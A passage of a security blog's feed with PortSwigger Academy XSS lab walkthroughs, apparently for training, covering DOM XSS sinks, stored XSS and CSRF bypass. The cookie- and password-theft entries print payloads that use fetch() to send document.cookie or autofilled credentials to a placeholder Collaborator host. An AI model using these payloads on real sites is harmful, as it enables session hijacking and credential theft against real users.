ordinary status code alone does not.</p><h2 id="Impact-and-defensive-lesson"><a href="#Impact-and-defensive-lesson" class="headerlink" title="Impact and defensive lesson"></a>Impact and defensive lesson</h2><p>DOM XSS can steal same-origin data or act as the victim. Prefer <code>textContent</code> for search output, sanitize unavoidable HTML with a maintained policy, and deploy CSP as defense in depth rather than as the primary fix.</p><h2 id="References"><a href="#References" class="headerlink" title="References"></a>References</h2><ul><li><a href="https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-innerhtml-sink">PortSwigger lab</a></li><li><a href="https://portswigger.net/web-security">PortSwigger Web Security Academy</a></li><li><a href="https://owasp.org/www-project-web-security-testing-guide/">OWASP Web Security Testing Guide</a></li></ul>]]></content>
    
    
    <summary type="html">Follow location.search into a result div innerHTML assignment and learn why an image onerror handler executes while an inserted script element remains inert.</summary>
    
    
    
    <category term="Writeups" scheme="https://blog.nhhoang.io.vn/categories/Writeups/"/>
    
    <category term="PortSwigger" scheme="https://blog.nhhoang.io.vn/categories/Writeups/PortSwigger/"/>
    
    <category term="XSS" scheme="https://blog.nhhoang.io.vn/categories/Writeups/PortSwigger/XSS/"/>
    
    
    <category term="portswigger" scheme="https://blog.nhhoang.io.vn/tags/portswigger/"/>
    
    <category term="web-security" scheme="https://blog.nhhoang.io.vn/tags/web-security/"/>
    
    <category term="xss" scheme="https://blog.nhhoang.io.vn/tags/xss/"/>
    
  </entry>
  
  <entry>
    <title>DOM XSS in jQuery anchor href attribute sink using location.search source</title>
    <link href="https://blog.nhhoang.io.vn/posts/2026/07/lab-jquery-href-attribute-sink/"/>
    <id>https://blog.nhhoang.io.vn/posts/2026/07/lab-jquery-href-attribute-sink/</id>
    <published>2026-07-05T08:00:00.000Z</published>
    <updated>2026-11-12T15:04:06.492Z</updated>
    
    <content type="html"><![CDATA[<blockquote><p><strong>Authorization disclaimer.</strong> This walkthrough is limited to the intentionally vulnerable PortSwigger Web Security Academy lab linked below. Test only systems you own or are explicitly authorized to assess.</p></blockquote><h2 id="Overview"><a href="#Overview" class="headerlink" title="Overview"></a>Overview</h2><p>This lab isolates <strong>DOM href scheme injection</strong>. <code>location.search</code> supplies <code>returnPath</code> to <code>$(&quot;#backLink&quot;).attr(&quot;href&quot;, ...)</code> on <code>/feedback</code>. The Back anchor must be clicked; its JavaScript URL then runs in the lab origin.</p><h2 id="Lab-objective-setup"><a href="#Lab-objective-setup" class="headerlink" title="Lab objective&#x2F;setup"></a>Lab objective&#x2F;setup</h2><p>Open the Academy exercise at the reserved lab URL and work only in that disposable environment. The required proof is specific: The alert displays <code>document.cookie</code> and the Academy marks the lab solved.</p><h2 id="What-I-observed"><a href="#What-I-observed" class="headerlink" title="What I observed"></a>What I observed</h2><p><code>location.search</code> supplies <code>returnPath</code> to <code>$(&quot;#backLink&quot;).attr(&quot;href&quot;, ...)</code> on <code>/feedback</code>. The Back anchor must be clicked; its JavaScript URL then runs in the lab origin.</p><figure><img src="/images/portswigger/xss/lab-jquery-href-attribute-sink/step-1.png" alt="Academy objective identifies `location.search` flowing through jQuery `attr()` into the feedback Back link `href` and requires an alert of `document.cookie`."><figcaption>Academy objective identifies `location.search` flowing through jQuery `attr()` into the feedback Back link `href` and requires an alert of `document.cookie`.</figcaption></figure><figure><img src="/images/portswigger/xss/lab-jquery-href-attribute-sink/step-2.png" alt="Feedback form displays normal fields and a Back link, establishing the page containing the vulnerable anchor."><figcaption>Feedback form displays normal fields and a Back link, establishing the page containing the vulnerable anchor.</figcaption></figure><figure><img src="/images/portswigger/xss/lab-jquery-href-attribute-sink/step-3.png" alt="Network panel records the feedback page request used to inspect the `returnPath` query parameter."><figcaption>Network panel records the feedback page request used to inspect the `returnPath` query parameter.</figcaption></figure><h2 id="Why-it-is-vulnerable"><a href="#Why-it-is-vulnerable" class="headerlink" title="Why it is vulnerable"></a>Why it is vulnerable</h2><p>The application applies protection for the wrong parser or omits a control at the decisive boundary. In this case, <code>location.search</code> supplies <code>returnPath</code> to <code>$(&quot;#backLink&quot;).attr(&quot;href&quot;, ...)</code> on <code>/feedback</code>. Browser parsing therefore preserves the attacker-controlled behavior instead of reducing the value to inert text or a safe URL.</p><h2 id="Walkthrough-in-the-authorized-PortSwigger-lab"><a href="#Walkthrough-in-the-authorized-PortSwigger-lab" class="headerlink" title="Walkthrough in the authorized PortSwigger lab"></a>Walkthrough in the authorized PortSwigger lab</h2><p>First reproduce the recorded page or request and inspect the exact reflected, stored, or DOM-generated context described above. Then supply the following lab payload as data, not as active markup in this article:</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">`javascript:alert(document.cookie)`</span><br></pre></td></tr></table></figure><p>The Back anchor must be clicked; its JavaScript URL then runs in the lab origin. </p><figure><img src="/images/portswigger/xss/lab-jquery-href-attribute-sink/step-4.png" alt="Address bar shows a benign `returnPath=/abc12331` value appended to the feedback URL."><figcaption>Address bar shows a benign `returnPath=/abc12331` value appended to the feedback URL.</figcaption></figure><figure><img src="/images/portswigger/xss/lab-jquery-href-attribute-sink/step-5.png" alt="Developer Tools highlights the Back anchor `href=/abc12331` beside the script that assigns `new URLSearchParams(window.location.search).get(&quot;returnPath&quot;)` through jQuery `attr`."><figcaption>Developer Tools highlights the Back anchor `href=/abc12331` beside the script that assigns `new URLSearchParams(window.location.search).get("returnPath")` through jQuery `attr`.</figcaption></figure><figure><img src="/images/portswigger/xss/lab-jquery-href-attribute-sink/step-6.png" alt="Address bar contains the inert test value `returnPath=javascript:alert(document.cookie)`, placing a JavaScript URL in the source parameter."><figcaption>Address bar contains the inert test value `returnPath=javascript:alert(document.cookie)`, placing a JavaScript URL in the source parameter.</figcaption></figure><figure><img src="/images/portswigger/xss/lab-jquery-href-attribute-sink/step-7.png" alt="Browser alert dialog appears after the Back link is clicked, proving the jQuery-assigned JavaScript URL executed."><figcaption>Browser alert dialog appears after the Back link is clicked, proving the jQuery-assigned JavaScript URL executed.</figcaption></figure><h2 id="Verification"><a href="#Verification" class="headerlink" title="Verification"></a>Verification</h2><p>The alert displays <code>document.cookie</code> and the Academy marks the lab solved. This distinguishes execution from a payload merely appearing in source or being stored without reaching the required event or sink.</p><h2 id="Impact-and-defensive-lesson"><a href="#Impact-and-defensive-lesson" class="headerlink" title="Impact and defensive lesson"></a>Impact and defensive lesson</h2><p>In a real application, equivalent XSS could act with the victim’s same-origin privileges, expose readable data, or perform authenticated actions. Fix the data flow at its context: use text-only DOM APIs, JavaScript- or attribute-aware encoding, strict URL-scheme allowlists, and maintained sanitization where HTML is unavoidable. HttpOnly cookies and a restrictive CSP reduce consequences but do not repair the injection flaw.</p><h2 id="References"><a href="#References" class="headerlink" title="References"></a>References</h2><ul><li><a href="https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-jquery-href-attribute-sink">PortSwigger lab</a></li><li><a href="https://portswigger.net/web-security/cross-site-scripting">PortSwigger cross-site scripting guidance</a></li><li><a href="https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html">OWASP Cross Site Scripting Prevention Cheat Sheet</a></li></ul>]]></content>
    
    
    <summary type="html">Trace returnPath from the query string into jQuery attr on the Back link and learn why a javascript URL executes only after the link is clicked.</summary>
    
    
    
    <category term="Writeups" scheme="https://blog.nhhoang.io.vn/categories/Writeups/"/>
    
    <category term="PortSwigger" scheme="https://blog.nhhoang.io.vn/categories/Writeups/PortSwigger/"/>
    
    <category term="XSS" scheme="https://blog.nhhoang.io.vn/categories/Writeups/PortSwigger/XSS/"/>
    
    
    <category term="portswigger" scheme="https://blog.nhhoang.io.vn/tags/portswigger/"/>
    
    <category term="web-security" scheme="https://blog.nhhoang.io.vn/tags/web-security/"/>
    
    <category term="xss" scheme="https://blog.nhhoang.io.vn/tags/xss/"/>
    
  </entry>
  
  <entry>
    <title>DOM XSS in jQuery selector sink using a hashchange event</title>
    <link href="https://blog.nhhoang.io.vn/posts/2026/07/lab-jquery-selector-hash-change-event/"/>
    <id>https://blog.nhhoang.io.vn/posts/2026/07/lab-jquery-selector-hash-change-event/</id>
    <published>2026-07-05T05:00:00.000Z</published>
    <updated>2026-11-12T15:04:06.492Z</updated>
    
    <content type="html"><![CDATA[<blockquote><p><strong>Authorization disclaimer.</strong> This walkthrough is limited to the intentionally vulnerable PortSwigger Web Security Academy lab linked below. Test only systems you own or are explicitly authorized to assess.</p></blockquote><h2 id="Overview"><a href="#Overview" class="headerlink" title="Overview"></a>Overview</h2><p>This lab isolates <strong>DOM selector injection on hashchange</strong>. A <code>hashchange</code> listener decodes <code>location.hash</code> and concatenates it into <code>section.blog-list h2:contains(...)</code>, which is passed to jQuery. Loading the iframe and then changing its fragment fires <code>hashchange</code>; old jQuery treats a selector beginning with markup as HTML.</p><h2 id="Lab-objective-setup"><a href="#Lab-objective-setup" class="headerlink" title="Lab objective&#x2F;setup"></a>Lab objective&#x2F;setup</h2><p>Open the Academy exercise at the reserved lab URL and work only in that disposable environment. The required proof is specific: Delivery to the simulated victim invokes <code>print()</code> and solves the lab.</p><h2 id="What-I-observed"><a href="#What-I-observed" class="headerlink" title="What I observed"></a>What I observed</h2><p>A <code>hashchange</code> listener decodes <code>location.hash</code> and concatenates it into <code>section.blog-list h2:contains(...)</code>, which is passed to jQuery. Loading the iframe and then changing its fragment fires <code>hashchange</code>; old jQuery treats a selector beginning with markup as HTML.</p><figure><img src="/images/portswigger/xss/lab-jquery-selector-hash-change-event/step-1.png" alt="Academy objective identifies `location.hash` as the source and jQuery `$()` as the selector sink, requiring an exploit delivered to a victim."><figcaption>Academy objective identifies `location.hash` as the source and jQuery `$()` as the selector sink, requiring an exploit delivered to a victim.</figcaption></figure><figure><img src="/images/portswigger/xss/lab-jquery-selector-hash-change-event/step-2.png" alt="Client script registers `hashchange`, decodes the fragment, concatenates it into an `h2:contains(...)` selector, and scrolls to the matched post."><figcaption>Client script registers `hashchange`, decodes the fragment, concatenates it into an `h2:contains(...)` selector, and scrolls to the matched post.</figcaption></figure><figure><img src="/images/portswigger/xss/lab-jquery-selector-hash-change-event/step-3.png" alt="Page source shows the first blog-card heading and anchor structure consumed by the selector."><figcaption>Page source shows the first blog-card heading and anchor structure consumed by the selector.</figcaption></figure><figure><img src="/images/portswigger/xss/lab-jquery-selector-hash-change-event/step-4.png" alt="Page source shows additional `h2` headings in the same blog list, confirming the selector operates over attacker-influenced text."><figcaption>Page source shows additional `h2` headings in the same blog list, confirming the selector operates over attacker-influenced text.</figcaption></figure><figure><img src="/images/portswigger/xss/lab-jquery-selector-hash-change-event/step-5.png" alt="Address bar contains benign fragment `#Perseverance` for a normal heading match."><figcaption>Address bar contains benign fragment `#Perseverance` for a normal heading match.</figcaption></figure><h2 id="Why-it-is-vulnerable"><a href="#Why-it-is-vulnerable" class="headerlink" title="Why it is vulnerable"></a>Why it is vulnerable</h2><p>The application applies protection for the wrong parser or omits a control at the decisive boundary. In this case, a <code>hashchange</code> listener decodes <code>location.hash</code> and concatenates it into <code>section.blog-list h2:contains(...)</code>, which is passed to jQuery. Browser parsing therefore preserves the attacker-controlled behavior instead of reducing the value to inert text or a safe URL.</p><h2 id="Walkthrough-in-the-authorized-PortSwigger-lab"><a href="#Walkthrough-in-the-authorized-PortSwigger-lab" class="headerlink" title="Walkthrough in the authorized PortSwigger lab"></a>Walkthrough in the authorized PortSwigger lab</h2><p>First reproduce the recorded page or request and inspect the exact reflected, stored, or DOM-generated context described above. Then supply the following lab payload as data, not as active markup in this article:</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">`&lt;iframe src=&quot;LAB/#&quot; onload=&quot;this.src+=&#x27;&amp;lt;img src=x onerror=print()&amp;gt;&#x27;&quot;&gt;&lt;/iframe&gt;`</span><br></pre></td></tr></table></figure><p>Loading the iframe and then changing its fragment fires <code>hashchange</code>; old jQuery treats a selector beginning with markup as HTML. </p><figure><img src="/images/portswigger/xss/lab-jquery-selector-hash-change-event/step-6.png" alt="Browser scrolls to the Perseverance article card after the benign fragment triggers the hash-change selector."><figcaption>Browser scrolls to the Perseverance article card after the benign fragment triggers the hash-change selector.</figcaption></figure><figure><img src="/images/portswigger/xss/lab-jquery-selector-hash-change-event/step-7.png" alt="Address bar contains a fragment with spaces and a name to test URL fragment decoding."><figcaption>Address bar contains a fragment with spaces and a name to test URL fragment decoding.</figcaption></figure><figure><img src="/images/portswigger/xss/lab-jquery-selector-hash-change-event/step-8.png" alt="Console compares raw `window.location.hash` with `decodeURIComponent`, showing the decoded selector text passed to jQuery."><figcaption>Console compares raw `window.location.hash` with `decodeURIComponent`, showing the decoded selector text passed to jQuery.</figcaption></figure><figure><img src="/images/portswigger/xss/lab-jquery-selector-hash-change-event/step-9.png" alt="Exploit Server body contains an iframe aimed at the lab and an encoded image-error fragment; script appends the fragment after load to force `hashchange`."><figcaption>Exploit Server body contains an iframe aimed at the lab and an encoded image-error fragment; script appends the fragment after load to force `hashchange`.</figcaption></figure><figure><img src="/images/portswigger/xss/lab-jquery-selector-hash-change-event/step-10.png" alt="Solved Academy banner confirms the victim iframe processed the malicious fragment and the old jQuery selector treated it as HTML."><figcaption>Solved Academy banner confirms the victim iframe processed the malicious fragment and the old jQuery selector treated it as HTML.</figcaption></figure><h2 id="Verification"><a href="#Verification" class="headerlink" title="Verification"></a>Verification</h2><p>Delivery to the simulated victim invokes <code>print()</code> and solves the lab. This distinguishes execution from a payload merely appearing in source or being stored without reaching the required event or sink.</p><h2 id="Impact-and-defensive-lesson"><a href="#Impact-and-defensive-lesson" class="headerlink" title="Impact and defensive lesson"></a>Impact and defensive lesson</h2><p>In a real application, equivalent XSS could act with the victim’s same-origin privileges, expose readable data, or perform authenticated actions. Fix the data flow at its context: use text-only DOM APIs, JavaScript- or attribute-aware encoding, strict URL-scheme allowlists, and maintained sanitization where HTML is unavoidable. HttpOnly cookies and a restrictive CSP reduce consequences but do not repair the injection flaw.</p><h2 id="References"><a href="#References" class="headerlink" title="References"></a>References</h2><ul><li><a href="https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-jquery-selector-hash-change-event">PortSwigger lab</a></li><li><a href="https://portswigger.net/web-security/cross-site-scripting">PortSwigger cross-site scripting guidance</a></li><li><a href="https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html">OWASP Cross Site Scripting Prevention Cheat Sheet</a></li></ul>]]></content>
    
    
    <summary type="html">Follow location.hash into a jQuery selector on hashchange and learn how an iframe-driven fragment change invokes a printable browser action.</summary>
    
    
    
    <category term="Writeups" scheme="https://blog.nhhoang.io.vn/categories/Writeups/"/>
    
    <category term="PortSwigger" scheme="https://blog.nhhoang.io.vn/categories/Writeups/PortSwigger/"/>
    
    <category term="XSS" scheme="https://blog.nhhoang.io.vn/categories/Writeups/PortSwigger/XSS/"/>
    
    
    <category term="portswigger" scheme="https://blog.nhhoang.io.vn/tags/portswigger/"/>
    
    <category term="web-security" scheme="https://blog.nhhoang.io.vn/tags/web-security/"/>
    
    <category term="xss" scheme="https://blog.nhhoang.io.vn/tags/xss/"/>
    
  </entry>
  
  <entry>
    <title>Exploiting cross-site scripting to capture passwords</title>
    <link href="https://blog.nhhoang.io.vn/posts/2026/07/lab-stealing-passwords/"/>
    <id>https://blog.nhhoang.io.vn/posts/2026/07/lab-stealing-passwords/</id>
    <published>2026-07-05T02:00:00.000Z</published>
    <updated>2026-11-12T15:04:06.492Z</updated>
    
    <content type="html"><![CDATA[<blockquote><p><strong>Authorization disclaimer.</strong> This walkthrough is limited to the intentionally vulnerable PortSwigger Web Security Academy lab linked below. Test only systems you own or are explicitly authorized to assess.</p></blockquote><h2 id="Overview"><a href="#Overview" class="headerlink" title="Overview"></a>Overview</h2><p>This lab isolates <strong>Stored XSS password capture</strong>. Unsanitized <code>comment</code> HTML is stored by <code>POST /post/comment</code>; the simulated victim has saved credentials that autofill username and password inputs. The password manager fills the injected fields and the password field change sends the pair to Collaborator.</p><h2 id="Lab-objective-setup"><a href="#Lab-objective-setup" class="headerlink" title="Lab objective&#x2F;setup"></a>Lab objective&#x2F;setup</h2><p>Open the Academy exercise at the reserved lab URL and work only in that disposable environment. The required proof is specific: The captured administrator credential is used to sign in and delete <code>carlos</code>.</p><h2 id="What-I-observed"><a href="#What-I-observed" class="headerlink" title="What I observed"></a>What I observed</h2><p>Unsanitized <code>comment</code> HTML is stored by <code>POST /post/comment</code>; the simulated victim has saved credentials that autofill username and password inputs. The password manager fills the injected fields and the password field change sends the pair to Collaborator.</p><figure><img src="/images/portswigger/xss/lab-stealing-passwords/step-1.png" alt="Academy objective requires stored XSS to inject username and password fields, capture password-manager autofill, and exfiltrate the values."><figcaption>Academy objective requires stored XSS to inject username and password fields, capture password-manager autofill, and exfiltrate the values.</figcaption></figure><figure><img src="/images/portswigger/xss/lab-stealing-passwords/step-2.png" alt="Comment form contains inert markup for username and password inputs plus a change handler that sends their values to Collaborator."><figcaption>Comment form contains inert markup for username and password inputs plus a change handler that sends their values to Collaborator.</figcaption></figure><h2 id="Why-it-is-vulnerable"><a href="#Why-it-is-vulnerable" class="headerlink" title="Why it is vulnerable"></a>Why it is vulnerable</h2><p>The application applies protection for the wrong parser or omits a control at the decisive boundary. In this case, unsanitized <code>comment</code> HTML is stored by <code>POST /post/comment</code>; the simulated victim has saved credentials that autofill username and password inputs. Browser parsing therefore preserves the attacker-controlled behavior instead of reducing the value to inert text or a safe URL.</p><h2 id="Walkthrough-in-the-authorized-PortSwigger-lab"><a href="#Walkthrough-in-the-authorized-PortSwigger-lab" class="headerlink" title="Walkthrough in the authorized PortSwigger lab"></a>Walkthrough in the authorized PortSwigger lab</h2><p>First reproduce the recorded page or request and inspect the exact reflected, stored, or DOM-generated context described above. Then supply the following lab payload as data, not as active markup in this article:</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">`&lt;input name=username id=username&gt;</span><br><span class="line">&lt;input type=password name=password onchange=&quot;if(this.value.length)fetch(&#x27;https://COLLABORATOR&#x27;,&#123;method:&#x27;POST&#x27;,mode:&#x27;no-cors&#x27;,body:username.value+&#x27;:&#x27;+this.value&#125;)&quot;&gt;`</span><br></pre></td></tr></table></figure><p>The password manager fills the injected fields and the password field change sends the pair to Collaborator. </p><figure><img src="/images/portswigger/xss/lab-stealing-passwords/step-3.png" alt="Collaborator interaction records the victim callback whose request contains the autofilled username and password values."><figcaption>Collaborator interaction records the victim callback whose request contains the autofilled username and password values.</figcaption></figure><figure><img src="/images/portswigger/xss/lab-stealing-passwords/step-4.png" alt="Solved Academy banner confirms the captured synthetic credentials were submitted to complete the lab."><figcaption>Solved Academy banner confirms the captured synthetic credentials were submitted to complete the lab.</figcaption></figure><h2 id="Verification"><a href="#Verification" class="headerlink" title="Verification"></a>Verification</h2><p>The captured administrator credential is used to sign in and delete <code>carlos</code>. This distinguishes execution from a payload merely appearing in source or being stored without reaching the required event or sink.</p><h2 id="Impact-and-defensive-lesson"><a href="#Impact-and-defensive-lesson" class="headerlink" title="Impact and defensive lesson"></a>Impact and defensive lesson</h2><p>In a real application, equivalent XSS could act with the victim’s same-origin privileges, expose readable data, or perform authenticated actions. Fix the data flow at its context: use text-only DOM APIs, JavaScript- or attribute-aware encoding, strict URL-scheme allowlists, and maintained sanitization where HTML is unavoidable. HttpOnly cookies and a restrictive CSP reduce consequences but do not repair the injection flaw.</p><h2 id="References"><a href="#References" class="headerlink" title="References"></a>References</h2><ul><li><a href="https://portswigger.net/web-security/cross-site-scripting/exploiting/lab-stealing-passwords">PortSwigger lab</a></li><li><a href="https://portswigger.net/web-security/cross-site-scripting">PortSwigger cross-site scripting guidance</a></li><li><a href="https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html">OWASP Cross Site Scripting Prevention Cheat Sheet</a></li></ul>]]></content>
    
    
    <summary type="html">See how a stored comment injects credential fields that receive browser autofill, then sends the captured password to Collaborator for the lab login.</summary>
    
    
    
    <category term="Writeups" scheme="https://blog.nhhoang.io.vn/categories/Writeups/"/>
    
    <category term="PortSwigger" scheme="https://blog.nhhoang.io.vn/categories/Writeups/PortSwigger/"/>
    
    <category term="XSS" scheme="https://blog.nhhoang.io.vn/categories/Writeups/PortSwigger/XSS/"/>
    
    
    <category term="portswigger" scheme="https://blog.nhhoang.io.vn/tags/portswigger/"/>
    
    <category term="web-security" scheme="https://blog.nhhoang.io.vn/tags/web-security/"/>
    
    <category term="xss" scheme="https://blog.nhhoang.io.vn/tags/xss/"/>
    
  </entry>
  
  <entry>
    <title>Exploiting cross-site scripting to steal cookies</title>
    <link href="https://blog.nhhoang.io.vn/posts/2026/07/lab-stealing-cookies/"/>
    <id>https://blog.nhhoang.io.vn/posts/2026/07/lab-stealing-cookies/</id>
    <published>2026-07-04T23:00:00.000Z</published>
    <updated>2026-11-12T15:04:06.492Z</updated>
    
    <content type="html"><![CDATA[<blockquote><p><strong>Authorization disclaimer.</strong> This walkthrough is limited to the intentionally vulnerable PortSwigger Web Security Academy lab linked below. Test only systems you own or are explicitly authorized to assess.</p></blockquote><h2 id="Overview"><a href="#Overview" class="headerlink" title="Overview"></a>Overview</h2><p>This lab isolates <strong>Stored XSS session theft</strong>. The <code>comment</code> parameter is stored as unencoded HTML, the victim automatically views new comments, and the session cookie is readable because it is not HttpOnly. When the victim renders the comment, the script sends <code>document.cookie</code> to Collaborator without another click.</p><h2 id="Lab-objective-setup"><a href="#Lab-objective-setup" class="headerlink" title="Lab objective&#x2F;setup"></a>Lab objective&#x2F;setup</h2><p>Open the Academy exercise at the reserved lab URL and work only in that disposable environment. The required proof is specific: Replacing the local session value with the captured administrator cookie permits deletion of <code>carlos</code>.</p><h2 id="What-I-observed"><a href="#What-I-observed" class="headerlink" title="What I observed"></a>What I observed</h2><p>The <code>comment</code> parameter is stored as unencoded HTML, the victim automatically views new comments, and the session cookie is readable because it is not HttpOnly. When the victim renders the comment, the script sends <code>document.cookie</code> to Collaborator without another click.</p><figure><img src="/images/portswigger/xss/lab-stealing-cookies/step-1.png" alt="Academy objective requires stored comment XSS to exfiltrate the simulated victim session cookie and reuse it for impersonation."><figcaption>Academy objective requires stored comment XSS to exfiltrate the simulated victim session cookie and reuse it for impersonation.</figcaption></figure><figure><img src="/images/portswigger/xss/lab-stealing-cookies/step-2.png" alt="Comment form contains an inert fetch-based payload that sends `document.cookie` to the Collaborator host in a POST body."><figcaption>Comment form contains an inert fetch-based payload that sends `document.cookie` to the Collaborator host in a POST body.</figcaption></figure><h2 id="Why-it-is-vulnerable"><a href="#Why-it-is-vulnerable" class="headerlink" title="Why it is vulnerable"></a>Why it is vulnerable</h2><p>The application applies protection for the wrong parser or omits a control at the decisive boundary. In this case, the <code>comment</code> parameter is stored as unencoded HTML, the victim automatically views new comments, and the session cookie is readable because it is not HttpOnly. Browser parsing therefore preserves the attacker-controlled behavior instead of reducing the value to inert text or a safe URL.</p><h2 id="Walkthrough-in-the-authorized-PortSwigger-lab"><a href="#Walkthrough-in-the-authorized-PortSwigger-lab" class="headerlink" title="Walkthrough in the authorized PortSwigger lab"></a>Walkthrough in the authorized PortSwigger lab</h2><p>First reproduce the recorded page or request and inspect the exact reflected, stored, or DOM-generated context described above. Then supply the following lab payload as data, not as active markup in this article:</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">`&lt;script&gt;fetch(&#x27;https://COLLABORATOR/?c=&#x27;+document.cookie)&lt;/script&gt;`</span><br></pre></td></tr></table></figure><p>When the victim renders the comment, the script sends <code>document.cookie</code> to Collaborator without another click. </p><figure><img src="/images/portswigger/xss/lab-stealing-cookies/step-3.png" alt="Burp Collaborator records the victim callback and highlights the exfiltrated session cookie in the HTTP request body."><figcaption>Burp Collaborator records the victim callback and highlights the exfiltrated session cookie in the HTTP request body.</figcaption></figure><figure><img src="/images/portswigger/xss/lab-stealing-cookies/step-4.png" alt="Browser storage inspector shows the replacement `session` cookie installed for the lab origin before impersonation."><figcaption>Browser storage inspector shows the replacement `session` cookie installed for the lab origin before impersonation.</figcaption></figure><figure><img src="/images/portswigger/xss/lab-stealing-cookies/step-5.png" alt="Solved Academy banner confirms the stolen synthetic session cookie was accepted as the victim session."><figcaption>Solved Academy banner confirms the stolen synthetic session cookie was accepted as the victim session.</figcaption></figure><h2 id="Verification"><a href="#Verification" class="headerlink" title="Verification"></a>Verification</h2><p>Replacing the local session value with the captured administrator cookie permits deletion of <code>carlos</code>. This distinguishes execution from a payload merely appearing in source or being stored without reaching the required event or sink.</p><h2 id="Impact-and-defensive-lesson"><a href="#Impact-and-defensive-lesson" class="headerlink" title="Impact and defensive lesson"></a>Impact and defensive lesson</h2><p>In a real application, equivalent XSS could act with the victim’s same-origin privileges, expose readable data, or perform authenticated actions. Fix the data flow at its context: use text-only DOM APIs, JavaScript- or attribute-aware encoding, strict URL-scheme allowlists, and maintained sanitization where HTML is unavoidable. HttpOnly cookies and a restrictive CSP reduce consequences but do not repair the injection flaw.</p><h2 id="References"><a href="#References" class="headerlink" title="References"></a>References</h2><ul><li><a href="https://portswigger.net/web-security/cross-site-scripting/exploiting/lab-stealing-cookies">PortSwigger lab</a></li><li><a href="https://portswigger.net/web-security/cross-site-scripting">PortSwigger cross-site scripting guidance</a></li><li><a href="https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html">OWASP Cross Site Scripting Prevention Cheat Sheet</a></li></ul>]]></content>
    
    
    <summary type="html">Trace stored comment markup to document.cookie and a Collaborator request, then learn how the captured administrator session enables the required account action.</summary>
    
    
    
    <category term="Writeups" scheme="https://blog.nhhoang.io.vn/categories/Writeups/"/>
    
    <category term="PortSwigger" scheme="https://blog.nhhoang.io.vn/categories/Writeups/PortSwigger/"/>
    
    <category term="XSS" scheme="https://blog.nhhoang.io.vn/categories/Writeups/PortSwigger/XSS/"/>
    
    
    <category term="portswigger" scheme="https://blog.nhhoang.io.vn/tags/portswigger/"/>
    
    <category term="web-security" scheme="https://blog.nhhoang.io.vn/tags/web-security/"/>
    
    <category term="xss" scheme="https://blog.nhhoang.io.vn/tags/xss/"/>
    
  </entry>
  
  <entry>
    <title>Exploiting XSS to bypass CSRF defenses</title>
    <link href="https://blog.nhhoang.io.vn/posts/2026/07/lab-perform-csrf/"/>
    <id>https://blog.nhhoang.io.vn/posts/2026/07/lab-perform-csrf/</id>
    <published>2026-07-04T20:00:00.000Z</published>
    <updated>2026-11-12T15:04:06.492Z</updated>
    
    <content type="html"><![CDATA[<blockquote><p><strong>Authorization disclaimer.</strong> This walkthrough is limited to the intentionally vulnerable PortSwigger Web Security Academy lab linked below. Test only systems you own or are explicitly authorized to assess.</p></blockquote><h2 id="Overview"><a href="#Overview" class="headerlink" title="Overview"></a>Overview</h2><p>This lab isolates <strong>Stored XSS defeats CSRF tokens</strong>. Stored comment script runs same-origin, requests <code>/my-account</code>, extracts the <code>csrf</code> input, then posts <code>email</code> and that token to <code>/my-account/change-email</code>. The victim only needs to view the poisoned comment; same-origin XSS can read the token that blocks cross-origin CSRF.</p><h2 id="Lab-objective-setup"><a href="#Lab-objective-setup" class="headerlink" title="Lab objective&#x2F;setup"></a>Lab objective&#x2F;setup</h2><p>Open the Academy exercise at the reserved lab URL and work only in that disposable environment. The required proof is specific: The victim administrator email changes to the attacker-selected value and the lab solves.</p><h2 id="What-I-observed"><a href="#What-I-observed" class="headerlink" title="What I observed"></a>What I observed</h2><p>Stored comment script runs same-origin, requests <code>/my-account</code>, extracts the <code>csrf</code> input, then posts <code>email</code> and that token to <code>/my-account/change-email</code>. The victim only needs to view the poisoned comment; same-origin XSS can read the token that blocks cross-origin CSRF.</p><figure><img src="/images/portswigger/xss/lab-perform-csrf/step-1.png" alt="Academy objective requires stored XSS to read a same-origin CSRF token and change the email address of a comment viewer."><figcaption>Academy objective requires stored XSS to read a same-origin CSRF token and change the email address of a comment viewer.</figcaption></figure><figure><img src="/images/portswigger/xss/lab-perform-csrf/step-2.png" alt="My Account page for user `wiener` shows the normal email-change form whose hidden token must be obtained by the script."><figcaption>My Account page for user `wiener` shows the normal email-change form whose hidden token must be obtained by the script.</figcaption></figure><h2 id="Why-it-is-vulnerable"><a href="#Why-it-is-vulnerable" class="headerlink" title="Why it is vulnerable"></a>Why it is vulnerable</h2><p>The application applies protection for the wrong parser or omits a control at the decisive boundary. In this case, stored comment script runs same-origin, requests <code>/my-account</code>, extracts the <code>csrf</code> input, then posts <code>email</code> and that token to <code>/my-account/change-email</code>. Browser parsing therefore preserves the attacker-controlled behavior instead of reducing the value to inert text or a safe URL.</p><h2 id="Walkthrough-in-the-authorized-PortSwigger-lab"><a href="#Walkthrough-in-the-authorized-PortSwigger-lab" class="headerlink" title="Walkthrough in the authorized PortSwigger lab"></a>Walkthrough in the authorized PortSwigger lab</h2><p>First reproduce the recorded page or request and inspect the exact reflected, stored, or DOM-generated context described above. Then supply the following lab payload as data, not as active markup in this article:</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">`var token=this.responseText.match(/name=&quot;csrf&quot; value=&quot;([^&quot;]+)&quot;/)[1];`</span><br></pre></td></tr></table></figure><p>The victim only needs to view the poisoned comment; same-origin XSS can read the token that blocks cross-origin CSRF. </p><figure><img src="/images/portswigger/xss/lab-perform-csrf/step-3.png" alt="Account page shows the email changed to `test@example.com`, validating the request structure during the attacker-controlled test session."><figcaption>Account page shows the email changed to `test@example.com`, validating the request structure during the attacker-controlled test session.</figcaption></figure><figure><img 